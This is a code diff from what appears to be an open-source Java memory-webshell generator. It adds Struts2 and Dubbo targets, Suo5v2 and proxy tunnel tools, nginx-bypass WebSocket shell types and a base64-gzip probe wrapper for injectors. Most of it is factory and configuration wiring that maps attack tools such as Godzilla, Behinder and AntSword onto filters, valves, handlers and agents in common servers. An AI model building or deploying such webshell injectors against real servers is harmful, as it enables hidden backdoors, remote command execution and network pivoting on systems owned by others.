@@ -10,6 +9,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import static com.reajason.javaweb.Server.Tomcat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/4/6 * @since 2025/4/6
@@ -17,7 +18,7 @@ import com.reajason.javaweb.packer.Packers;
public class Godzilla { public class Godzilla {
public static void main(String[] args) { public static void main(String[] args) {
ShellConfig shellConfig = ShellConfig.builder() ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat) .server(Tomcat)
.shellTool(ShellTool.Godzilla) .shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER) .shellType(ShellType.FILTER)
.shrink(true) // 缩小字节码 .shrink(true) // 缩小字节码
@@ -9,11 +9,12 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.jar.JarPacker; import com.reajason.javaweb.packer.jar.JarPacker;
import com.sun.security.ntlm.Server;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import static com.reajason.javaweb.Server.Tomcat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/4/6 * @since 2025/4/6
@@ -22,7 +23,7 @@ public class GodzillaAgent {
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
ShellConfig shellConfig = ShellConfig.builder() ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat) .server(Tomcat)
.shellTool(ShellTool.Godzilla) .shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN) .shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // 缩小字节码 .shrink(true) // 缩小字节码
+10 -7
View File
@@ -1,5 +1,5 @@
plugins { plugins {
id("java") id("java-library")
alias(libs.plugins.lombok) alias(libs.plugins.lombok)
id("maven-publish-convention") id("maven-publish-convention")
} }
@@ -29,20 +29,23 @@ tasks.test {
dependencies { dependencies {
implementation(project(":memshell-party-common")) implementation(project(":memshell-party-common"))
implementation(project(":packer")) implementation(project(":packer"))
implementation(libs.byte.buddy) api(libs.byte.buddy)
implementation(libs.asm.commons) implementation(libs.asm.commons)
implementation(libs.javax.websocket.api) implementation(libs.javax.websocket.api)
implementation(libs.jakarta.websocket.client.api)
implementation(libs.javax.servlet.api) implementation(libs.javax.servlet.api)
implementation(libs.jakarta.servlet.api)
implementation(libs.spring.webmvc) implementation(libs.spring.webmvc)
implementation(libs.spring.webflux) implementation(libs.spring.webflux)
implementation(libs.tomcat.embed.core)
implementation(libs.reactor.netty.core) implementation(libs.reactor.netty.core)
implementation(libs.alibaba.dubbo)
implementation(libs.apache.dubbo)
implementation(libs.jackson.annotations)
implementation(libs.bundles.jna) implementation(libs.bundles.jna)
implementation(libs.bcel)
implementation(libs.okhttp3)
implementation(libs.logback.classic)
implementation(libs.jackson.databind)
testImplementation(libs.junit.jupiter) testImplementation(libs.junit.jupiter)
testImplementation(libs.hamcrest)
testRuntimeOnly(libs.junit.platform.launcher) testRuntimeOnly(libs.junit.platform.launcher)
testImplementation(libs.bundles.mockito) testImplementation(libs.bundles.mockito)
} }
@@ -20,4 +20,6 @@ public class Server {
public static final String SpringWebMvc = "SpringWebMvc"; public static final String SpringWebMvc = "SpringWebMvc";
public static final String SpringWebFlux = "SpringWebFlux"; public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB"; public static final String XXLJOB = "XXLJOB";
public static final String Struts2 = "Struts2";
public static final String Dubbo = "Dubbo";
} }
@@ -1,13 +1,23 @@
package com.reajason.javaweb.memshell; package com.reajason.javaweb.memshell;
import com.reajason.javaweb.GenerationException; import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassInterfaceUtils;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
import com.reajason.javaweb.memshell.generator.InjectorGenerator; import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.Strings;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import java.util.Map; import java.util.Map;
@@ -24,15 +34,6 @@ public class MemShellGenerator {
if (server == null) { if (server == null) {
throw new GenerationException("Unsupported server: " + serverName); throw new GenerationException("Unsupported server: " + serverName);
} }
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
}
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
}
Class<?> injectorClass = null; Class<?> injectorClass = null;
if (ShellTool.Custom.equals(shellConfig.getShellTool())) { if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
@@ -47,7 +48,41 @@ public class MemShellGenerator {
shellToolConfig.setShellClass(shellClass); shellToolConfig.setShellClass(shellClass);
} }
byte[] shellBytes = shellConfig.getShellTool().generateBytes(shellConfig, shellToolConfig); if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
}
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
}
if (shellConfig.isLambdaSuffix()) {
shellToolConfig.setShellClassName(CommonUtil.appendLambdaSuffix(shellToolConfig.getShellClassName()));
injectorConfig.setInjectorClassName(CommonUtil.appendLambdaSuffix(injectorConfig.getInjectorClassName()));
}
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
String interfaceName = packageName + ".I" + simpleName;
injectorConfig.setInjectorHelperClassName(interfaceName);
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
String urlPattern = injectorConfig.getUrlPattern();
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|| StringUtils.isBlank(urlPattern)) {
injectorConfig.setUrlPattern(interfaceName);
}
}
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
String helperClassName = shellToolConfig.getShellClassName() + "$1";
injectorConfig.setInjectorHelperClassName(helperClassName);
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
}
injectorConfig.setInjectorClass(injectorClass); injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
@@ -55,6 +90,25 @@ public class MemShellGenerator {
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig); InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
byte[] injectorBytes = injectorGenerator.generate(); byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
ProbeConfig probeConfig = ProbeConfig.builder()
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Bytecode)
.targetJreVersion(shellConfig.getTargetJreVersion())
.byPassJavaModule(shellConfig.isByPassJavaModule())
.shrink(shellConfig.isShrink())
.debug(shellConfig.isDebug())
.staticInitialize(injectorConfig.isStaticInitialize())
.build();
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
.server(serverName)
.base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
.build();
injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
}
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes(); Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
return MemShellResult.builder() return MemShellResult.builder()
@@ -8,6 +8,8 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.*; import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.neoreg.*; import com.reajason.javaweb.memshell.shelltool.neoreg.*;
import com.reajason.javaweb.memshell.shelltool.suo5.*; import com.reajason.javaweb.memshell.shelltool.suo5.*;
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
import java.util.Collections; import java.util.Collections;
import java.util.List; import java.util.List;
@@ -44,6 +46,8 @@ public class ServerFactory {
register(Server.SpringWebMvc, SpringWebMvc::new); register(Server.SpringWebMvc, SpringWebMvc::new);
register(Server.SpringWebFlux, SpringWebFlux::new); register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new); register(Server.XXLJOB, XxlJob::new);
register(Server.Struts2, Struts2::new);
register(Server.Dubbo, Dubbo::new);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder() addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class) .addShellClass(SERVLET, GodzillaServlet.class)
@@ -58,6 +62,8 @@ public class ServerFactory {
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class) .addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
.addShellClass(WEBSOCKET, GodzillaWebSocket.class) .addShellClass(WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
@@ -69,10 +75,14 @@ public class ServerFactory {
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class) .addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class) .addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class) .addShellClass(HANDLER, GodzillaJettyHandler.class)
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
.addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
.addShellClass(ACTION, GodzillaStruts2Action.class)
.build()); .build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder() addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -97,6 +107,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
.addShellClass(ACTION, BehinderStruts2Action.class)
.build()); .build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder() addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -114,6 +125,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
.addShellClass(ACTION, AntSwordStruts2Action.class)
.build()); .build());
addToolMapping(ShellTool.Command, ToolMapping.builder() addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -129,6 +141,9 @@ public class ServerFactory {
.addShellClass(JAKARTA_PROXY_VALVE, Command.class) .addShellClass(JAKARTA_PROXY_VALVE, Command.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class) .addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
.addShellClass(UPGRADE, CommandUpgrade.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
@@ -140,10 +155,16 @@ public class ServerFactory {
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class) .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, Command.class) .addShellClass(AGENT_FILTER_CHAIN, Command.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class) .addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
.addShellClass(HANDLER, CommandJettyHandler.class)
.addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.addShellClass(ACTION, CommandStruts2Action.class)
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
.build()); .build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder() addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -169,6 +190,33 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
.addShellClass(ACTION, Suo5Struts2Action.class)
.build());
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
.addShellClass(SERVLET, Suo5v2Servlet.class)
.addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
.addShellClass(FILTER, Suo5v2Filter.class)
.addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
.addShellClass(LISTENER, Suo5v2Listener.class)
.addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
.addShellClass(VALVE, Suo5v2Valve.class)
.addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
.addShellClass(PROXY_VALVE, Suo5v2.class)
.addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
.addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
.addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
.addShellClass(ACTION, Suo5v2Struts2Action.class)
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
.build()); .build());
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder() addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
@@ -193,6 +241,14 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
.addShellClass(ACTION, NeoreGeorgStruts2Action.class)
.build());
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
.build()); .build());
} }
@@ -219,7 +275,7 @@ public class ServerFactory {
}); });
} }
public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping) { public static void addToolMapping(String shellTool, ToolMapping toolMapping) {
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap(); Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
List<String> supportedServers = ServerFactory.getSupportedServers(); List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) { for (String supportedServer : supportedServers) {
@@ -235,7 +291,10 @@ public class ServerFactory {
} }
toolMappingBuilder.addShellClass(shellType, shellClass); toolMappingBuilder.addShellClass(shellType, shellClass);
} }
server.addToolMapping(shellTool, toolMappingBuilder.build()); ToolMapping mapping = toolMappingBuilder.build();
if (mapping.isNotEmpty()) {
server.addToolMapping(shellTool, mapping);
}
} }
} }
@@ -1,41 +1,17 @@
package com.reajason.javaweb.memshell; package com.reajason.javaweb.memshell;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import java.lang.reflect.Constructor;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/22 * @since 2025/8/22
*/ */
public enum ShellTool { public class ShellTool {
Godzilla(GodzillaGenerator.class, GodzillaConfig.class), public static final String Godzilla = "Godzilla";
Command(CommandGenerator.class, CommandConfig.class), public static final String Behinder = "Behinder";
Behinder(BehinderGenerator.class, BehinderConfig.class), public static final String Command = "Command";
Suo5(Suo5Generator.class, Suo5Config.class), public static final String Suo5 = "Suo5";
AntSword(AntSwordGenerator.class, AntSwordConfig.class), public static final String Suo5v2 = "Suo5v2";
NeoreGeorg(NeoreGeorgGenerator.class, NeoreGeorgConfig.class), public static final String AntSword = "AntSword";
Custom(CustomShellGenerator.class, CustomConfig.class); public static final String NeoreGeorg = "NeoreGeorg";
public static final String Proxy = "Proxy";
private final Class<? extends ShellGenerator> generatorClass; public static final String Custom = "Custom";
private final Class<? extends ShellToolConfig> configClass;
ShellTool(Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
this.generatorClass = generatorClass;
this.configClass = configClass;
}
public byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
try {
Constructor<? extends ShellGenerator> constructor =
generatorClass.getConstructor(ShellConfig.class, configClass);
ShellGenerator generator = constructor.newInstance(shellConfig, configClass.cast(shellToolConfig));
return generator.getBytes();
} catch (Exception e) {
throw new RuntimeException("shell generate failed " + e.getMessage(), e);
}
}
} }
@@ -0,0 +1,52 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import org.apache.commons.lang3.tuple.Pair;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
/**
* @author ReaJason
* @since 2025/08/22
*/
public class ShellToolFactory {
private static final Map<String, Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>>> instances = new ConcurrentHashMap<>();
static {
register(ShellTool.Godzilla, GodzillaGenerator.class, GodzillaConfig.class);
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
}
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
if (shellToolName == null || shellToolName.trim().isEmpty()) {
throw new IllegalArgumentException("ShellTool name cannot be null or empty.");
}
instances.put(shellToolName, Pair.of(generatorClass, configClass));
}
public static byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
try {
Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>> classClassPair = instances.get(shellConfig.getShellTool());
Constructor<? extends ShellGenerator> constructor =
classClassPair.getLeft().getConstructor(ShellConfig.class, classClassPair.getRight());
ShellGenerator generator = constructor.newInstance(shellConfig, classClassPair.getRight().cast(shellToolConfig));
return generator.getBytes();
} catch (Exception e) {
throw new GenerationException("shell generate failed " + e.getMessage(), e);
}
}
}
@@ -15,17 +15,22 @@ public class ShellType {
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER; public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
public static final String VALVE = "Valve"; public static final String VALVE = "Valve";
public static final String UPGRADE = "Upgrade";
public static final String JAKARTA_VALVE = JAKARTA + VALVE; public static final String JAKARTA_VALVE = JAKARTA + VALVE;
public static final String PROXY_VALVE = "Proxy" + VALVE; public static final String PROXY_VALVE = "Proxy" + VALVE;
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE; public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
public static final String HANDLER = "Handler";
public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
public static final String CUSTOMIZER = "Customizer";
public static final String NETTY_HANDLER = "NettyHandler"; public static final String NETTY_HANDLER = "NettyHandler";
public static final String AGENT = "Agent"; public static final String AGENT = "Agent";
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve"; public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler"; public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER;
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager"; public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext"; public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
@@ -40,5 +45,13 @@ public class ShellType {
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod"; public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction"; public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
public static final String WEBSOCKET = "WebSocket"; public static final String WEBSOCKET = "WebSocket";
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket"; public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
public static final String ACTION = "Action";
public static final String DUBBO_SERVICE = "DubboService";
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
} }
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/21 * @since 2024/12/21
*/ */
@Getter @Getter
@SuperBuilder @SuperBuilder(toBuilder = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
@ToString @ToString
@@ -20,4 +21,31 @@ public class AntSwordConfig extends ShellToolConfig {
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class AntSwordConfigBuilder<C extends AntSwordConfig, B extends AntSwordConfig.AntSwordConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B pass(final String pass) {
if (StringUtils.isNotBlank(pass)) {
this.pass$value = pass;
pass$set = true;
}
return self();
}
